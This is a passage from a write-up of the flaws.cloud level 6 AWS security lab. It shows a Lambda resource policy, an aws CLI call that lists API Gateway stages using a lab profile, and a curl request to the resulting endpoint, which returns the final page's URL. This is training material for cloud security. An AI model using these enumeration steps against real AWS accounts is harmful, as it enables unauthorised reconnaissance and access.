"Policy": {
"Version": "2012-10-17",
"Id": "default",
"Statement": [
{
"Sid": "904610a93f593b76ad66ed6ed82c0a8b",
"Effect": "Allow",
"Principal": {
"Service": "apigateway.amazonaws.com"
},
"Action": "lambda:InvokeFunction",
"Resource": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
"Condition": {
"ArnLike": {
"AWS:SourceArn": "arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6"
}
}
}
]
},
"RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}

This function has ability to execute arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\.

s33ppypa75 is the REST API ID that we will use to get the stageName of the API.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ aws --profile flaws-level6 --region us-west-2 apigateway get-stages --rest-api-id s33ppypa75 
{
"item": [
{
"deploymentId": "8gppiv",
"stageName": "Prod",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"methodSettings": {},
"tracingEnabled": false,
"createdDate": 1488155168,
"lastUpdatedDate": 1488155168
}
]
}

So let's put it all together:

  • HTTP request type: GET
  • REST API ID: s33ppypa75
  • service: execute-api
  • region: us-west-2
  • amazonaws.com
  • stageName: Prod
  • path / resource: /level6/
1
2
$ curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
"Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/"
Share